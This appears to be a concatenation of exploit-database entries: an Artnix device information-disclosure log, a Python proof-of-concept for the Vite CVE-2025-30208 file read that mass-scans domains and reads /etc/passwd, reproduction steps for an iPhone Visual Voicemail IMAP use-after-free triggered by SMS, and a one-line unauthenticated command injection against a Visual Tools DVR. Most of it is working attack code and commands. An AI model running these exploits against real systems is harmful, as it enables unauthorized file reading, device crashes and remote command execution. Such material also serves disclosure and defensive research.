nameserver 0.0.0.0
$

$ nslookup 168.126.63.1
1.63.126.168.in-addr.arpa	name = kns.kornet.net.
$ nslookup 168.126.63.2
2.63.126.168.in-addr.arpa	name = kns2.kornet.net.


-[Other Information Disclosure]-
curl -v "http://192.168.57.20:80/webviewer/netinfo.dat"
192,168,57,20
192,168,2,100
00:0A:2F:XX:XX:XX
00:0A:2F:YY:YY:YY
255.255.255.0
192.168.57.1

-[MAC Address Details]-
Company: Artnix Inc.
Address: Seoul 137-819, KOREA, REPUBLIC OF
Range: 00:0A:2F:00:00:00 - 00:0A:2F:FF:FF:FF
Type: IEEE MA-L

curl -v "http://192.168.57.20:80/webviewer/gw.dat"
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
192.168.2.0     0.0.0.0         255.255.255.0   U     0      0        0 eth1
192.168.57.0    0.0.0.0         255.255.255.0   U     0      0        0 eth0
0.0.0.0         192.168.57.1    0.0.0.0         UG    0      0        0 eth0

curl -v "http://192.168.57.20:80/cgi-bin/php/lang_change.php?lang=0"
Change GUI Language to English

[... and more]

[ETX]
            
# Exploit Title: Vite Arbitrary File Read - CVE-2025-30208
# Date: 2025-04-03
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
# Vendor Homepage: https://vitejs.dev/
# Software Link: https://github.com/vitejs/vite
# Version: <= 6.2.2, <= 6.1.1, <= 6.0.11, <= 5.4.14, <= 4.5.9
# Tested on: Ubuntu
# Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-30208
# https://github.com/advisories/GHSA-x574-m823-4x7w
# CVE : CVE-2025-30208

"""
################
# Description  #
################

Vite, a provider of frontend development tooling, has a vulnerability in versions prior to 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10. `@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes. The contents of arbitrary files can be returned to the browser. Only apps explicitly exposing the Vite dev server to the network (using `--host` or `server.host` config option) are affected. Versions 6.2.3, 6.1.2, 6.0.12, 5.4.15, and 4.5.10 fix the issue.
"""

import requests
import argparse
import urllib3
from colorama import Fore, Style

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def check_vulnerability(target, file_path, verbose=False, output=None):
    url = f"{target}{file_path}?raw"
    print(f"{Fore.CYAN}[*] Testing: {url}{Style.RESET_ALL}")

    try:
        response = requests.get(url, timeout=5, verify=False)  # Ignore SSL verification
        if response.status_code == 200 and response.text:
            vuln_message = f"{Fore.GREEN}[+] Vulnerable : {url}{Style.RESET_ALL}"
            print(vuln_message)

            if verbose:
                print(f"\n{Fore.YELLOW}--- File Content Start ---{Style.RESET_ALL}")
                print(response.text[:500])  # Print first 500 characters for safety
                print(f"{Fore.YELLOW}--- File Content End ---{Style.RESET_ALL}\n")

            if output:
                with open(output, 'a') as f:
                    f.write(f"{url}\n")
        else:
            print(f"{Fore.RED}[-] Not vulnerable or file does not exist: {url}{Style.RESET_ALL}")
    except requests.exceptions.RequestException as e:
        print(f"{Fore.YELLOW}[!] Error testing {url}: {e}{Style.RESET_ALL}")

def check_multiple_domains(file_path, file_to_read, verbose, output):
    try:
        with open(file_to_read, 'r') as file:
            domains = file.readlines()
            for domain in domains:
                domain = domain.strip()
                if domain:
                    check_vulnerability(domain, file_path, verbose, output)
    except FileNotFoundError:
        print(f"{Fore.RED}[!] Error: The file '{file_to_read}' does not exist.{Style.RESET_ALL}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="PoC for CVE-2025-30208 - Vite Arbitrary File Read")
    parser.add_argument("target", nargs="?", help="Target URL (e.g., http://localhost:5173)")
    parser.add_argument("-l", "--list", help="File containing list of domains")
    parser.add_argument("-f", "--file", default="/etc/passwd", help="File path to read (default: /etc/passwd)")
    parser.add_argument("-v", "--verbose", action="store_true", help="Show file content if vulnerable")
    parser.add_argument("-o", "--output", help="Output file to save vulnerable URLs")

    args = parser.parse_args()

    if args.list:
        check_multiple_domains(args.file, args.list, args.verbose, args.output)
    elif args.target:
        check_vulnerability(args.target, args.file, verbose=args.verbose, output=args.output)
    else:
        print(f"{Fore.RED}Please provide a target URL or a domain list file.{Style.RESET_ALL}")
            
Visual Voicemail (VVM) is a feature of mobile devices that allows voicemail to be read in an email-like format. Carriers set up a Visual Voicemail server that supports IMAP, and the device queries this server for new email. Visual Voicemail is configured over SMS, and carriers inform devices of the location of the IMAP server by sending a specially formatted SMS message containing the URL of the IMAP server.

SMS messages are determined to be VVM-related based on their PID field as well as their contents. Both of these fields can be set by a device sending SMS messages, so any device can send a message that causes Visual Voicemail to query an IMAP server specified in the message. This means that an attacker can force a device to query an IMAP server they control without the user interacting with the device in any way.

There is an object lifetime issue in the iPhone IMAP client that can be accessed in this way. It happens when a NAMESPACE command response contains a namespace that cannot be parsed correctly. It leads to the mailbox separator being freed, but not replaced with a valid object. This leads to a selector being called on an object that is not valid.

To reproduce this issue:

1) Run testcrash.py on a remotely accessible server. To run on port 993, this will need to be on a server that has a domain name, and a certificate that verifies correctly. Replace the "YOUR KEY HERE" fields in testcrash.py with the location of the cert files. On some carriers, it is possible to use port 143 without SSL instead.

2) Send the attached SMS messages to the device, first statepdu.txt and then mboxupdatepdu.txt. Replace the destination number and server location in the messages with the location of your target device and server before sending.

3) The device will connect to the server, and then crash

Note that this attack depends somewhat on the carrier the device is on. I tested this issue on an AT&T SIM. I was not able to reproduce this issue on a T-Mobile SIM, because their network does not allow VVM connections to outside servers. It might be possible to bypass this by hosting the server on a peer device on the network, but I didn't try this. The PID used for VVM SMS messages also varies based on carrier.

I've attached a crash log for this issue. I've also attached decoded.txt, which describes the contents of the SMS pdus, and NAMESPACE.zip, which is a non-minimized PoC that leaders to a wider variety of crashes.

When retrieving a message, the VVM client calls [IMAPAccount _updateSeparatorAndNamespaceWithConnection:] to get the server separator and namespace prefix. This method first retrieves the server separator by calling [MFIMAPConnection separatorChar] which causes the LIST command to be sent to the server, and returns the separator. The method also stores the separator as a member of the connection object, which gives the separator its sole reference. [IMAPAccount _updateSeparatorAndNamespaceWithConnection:]  then calls [MFIMAPConnection serverPathPrefix] to get the prefix,  which in turn calls [MFIMAPConnection _doNamespaceCommand] to perform the NAMESPACE command over the network. If this command fails for any reason (for example, malformed response, LOGOUT command, etc.), it will call [MFIMAPConnection disconnectAndNotifyDelegate:], which removes the separator from the connection object, removing its only reference. The rest of [IMAPAccount _updateSeparatorAndNamespaceWithConnection:]  will then use a separator object that has been freed.

This issue was resolved by adding a lock to [IMAPAccount _updateSeparatorAndNamespaceWithConnection:]  and [MFIMAPConnection disconnectAndNotifyDelegate:] so that they cannot run at the same time for the same connection.

This issue was fixed on Tuesday, May 14


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46913.zip
            
# Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.
# CVE: CVE-2021-42071
# Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/

# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py